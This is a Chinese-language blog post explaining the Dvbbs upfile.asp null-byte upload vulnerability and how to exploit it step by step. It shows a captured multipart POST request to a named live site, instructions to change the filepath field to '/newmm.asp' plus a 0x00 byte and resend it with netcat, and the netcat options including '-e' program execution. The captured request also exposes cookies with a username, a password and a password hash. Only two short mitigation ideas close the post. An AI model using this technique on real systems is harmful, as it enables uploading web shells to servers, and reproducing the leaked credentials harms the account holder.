PHP/ASP上传漏洞探究

PHP/ASP上传漏洞探究

还是有好多的新手对这个不是很明白,贴个简单点的给大家学习下~!

  一、写在前面

***这个上传漏洞利用的原理只是针对form格式上传的asp和php脚本***
nc(netcat)
   用于提交数据包
   dos界面下运行:
   nc -vv www.***.com 80<1.txt
   -vv: 回显
   80:  www端口
   1.txt: 就是你要发送的数据包
  (更多使用方法请查看本区的帖子) 
wse(wsockexpert)
   对本机端口的监视,抓取ie提交的数据包
  (不会用的就自己到网上搜资料n多) 

二、漏洞原理

下面例子假设的前提
www主机:  www.***.com;
bbs路径 :  /bbs/
漏洞源于对动网上传文件的研究,建议有一定编程经验的,看看dvbbs的upfile.asp文件,没有必要全部看懂,upfile是通过生成一个form表上传,如下

<form name="form" method="post" action="upfile.asp" ...>
<input type="hidden" name="filepath" value="uploadface">
<input type="hidden" name="act" value="upload">
<input type="file" name="file1">
<input type="hidden" name="fname">
<input type="submit" name="submit" value="上传" ...></form>

用到的变量:

filepath 默认值uploadface 属性hiden
act      默认值upload     属性hiden
file1    就是你要传的那个文件
关键是 filepath 这个变量!
默认情况下我们的文件上传到www.***.com/bbs/uploadface/
文件是用你的上传时间命名的,就是upfile里的这一句
filename=formpath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&rannum&"."&fileext
--------------------------------------
我们知道计算机里面的数据是一"/0"为标致的用过c语言的都知道
char data[]="bbs"
这个data数组长度是4: b b s /0
如果我们构造filepath如下,会怎么样呢?
filepath="/newmm.asp/0"
我们在2004.09.24.08.24传的文件就会发生变化
没有改时:
http://www.***.com/bbs/uploadface/200409240824.jpg 
用我们构造的filepath时:
http://www.***.com/newmm.asp/0/200409240824.jpg 
这样当服务器接收filepath数据时,检测到newmm.asp后面的/0
就理解为filepath的数据就结束了
这样我们上传的文件,比如c:/1.asp
就保存成: http://www.***.com/newmm.asp  

三、后期补充

漏洞公布以后很多网站做了相应的处理,但是对于filepath的过滤和处理都不行,有很多网站只是加了n个hiden属性的变量对付网上公布的upfile.exe就是那个上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊。。而且很对网站的插件里有类似的漏洞,我要说的不要依赖哪些专门的工具自己改wse抓到的包里的filepath变量,然后在用nc提交。。。就算他加n个hiden变量也于事无补。当然,如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结,就是我们的新理论诞生的时候!

监听外部主机
        nc [-options] hostname port[s] [ports] ...
监听本地主机
        nc -l -p port [options] [hostname] [port]
options:
        -d              detach from console, stealth mode
        -e prog         inbound program to exec [dangerous!!]
        -g gateway      source-routing hop point[s], up to 8
        -g num          source-routing pointer: 4, 8, 12, ...
        -h              this cruft
        -i secs         delay interval for lines sent, ports scanned
        -l              listen mode, for inbound connects
        -l              listen harder, re-listen on socket close
        -n              numeric-only ip addresses, no dns
        -o file         hex dump of traffic
        -p port         local port number
        -r              randomize local and remote ports
        -s addr         local source address
        -t              answer telnet negotiation
        -u              udp mode
        -v              verbose [use twice to be more verbose]
        -w secs         timeout for connects and final net reads
        -z              zero-i/o mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]


详细实例:
-----------------------------
一、wse抓包结果(存到1.txt里):
post /bbs/upphoto/upfile.asp http/1.1
accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
referer: http://www.xin126.com/bbs/upphoto/upload.asp 
accept-language: zh-cn
content-type: multipart/form-data; boundary=-----------7d423a138d0278
accept-encoding: gzip, deflate
user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; .net clr 1.1.4322)
host: www.xin126.com
content-length: 1969
connection: keep-alive
cache-control: no-cache
cookie: aspsessionidaccccdcs=njhcphpalbcankobechkjanf; iscome=1; gamvancookies=1; regtime=2004%2d9%2d24+3%3a39%3a37; username=szjwwwww; pass=5211314; dl=0; userid=62; ltstyle=0; logintry=1; userpass=eb03f6c72908fd84

-----------------------------7d423a138d0278
content-disposition: form-data; name="filepath"

../medias/myphoto/
-----------------------------7d423a138d0278
... ...

上传
---------------7d423a138d0278-----------------
二、ultraedit打开1.txt改数据:
......
-----------------------------7d423a138d0278
content-disposition: form-data; name="filepath"
/newmm.asp█                 <===这个黑色代表一个空格是 0x20,改成0x00就可以了
......
----------------------------
三、重新计算cookies长度,然后nc提交

nc -vv www.xin126.com 80 <1.txt

ultraedit是一个16位编辑器网上可以下载得到
我们主要用来写那个结束标致: /0 ====>16位表示:0x00或者00h
其实你改的时候就直接再filepath的结尾处加个00就ok了

计算cookies长度===>你把fillepath改了之后、肯定是或+或—cookies的长度变了
......
host: www.xin126.com
content-length: 1969  <======就是这个
connection: keep-alive
cache-control: no-cache
......
计算会吧?一个字母、数字就是1

对于上传漏洞提出的解决思路:(仅供参考)

1、一般的上传是把上传路径作为一个变量来处理
===>我们的对策就是把filepath变成常量。。。
这个方法是目前最有效的(我认为的) 

2、加强对于/0的处理,原来我们是读到这里就结束
我们继续读直道下一个变量开始的地方,处理就ok了  


 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值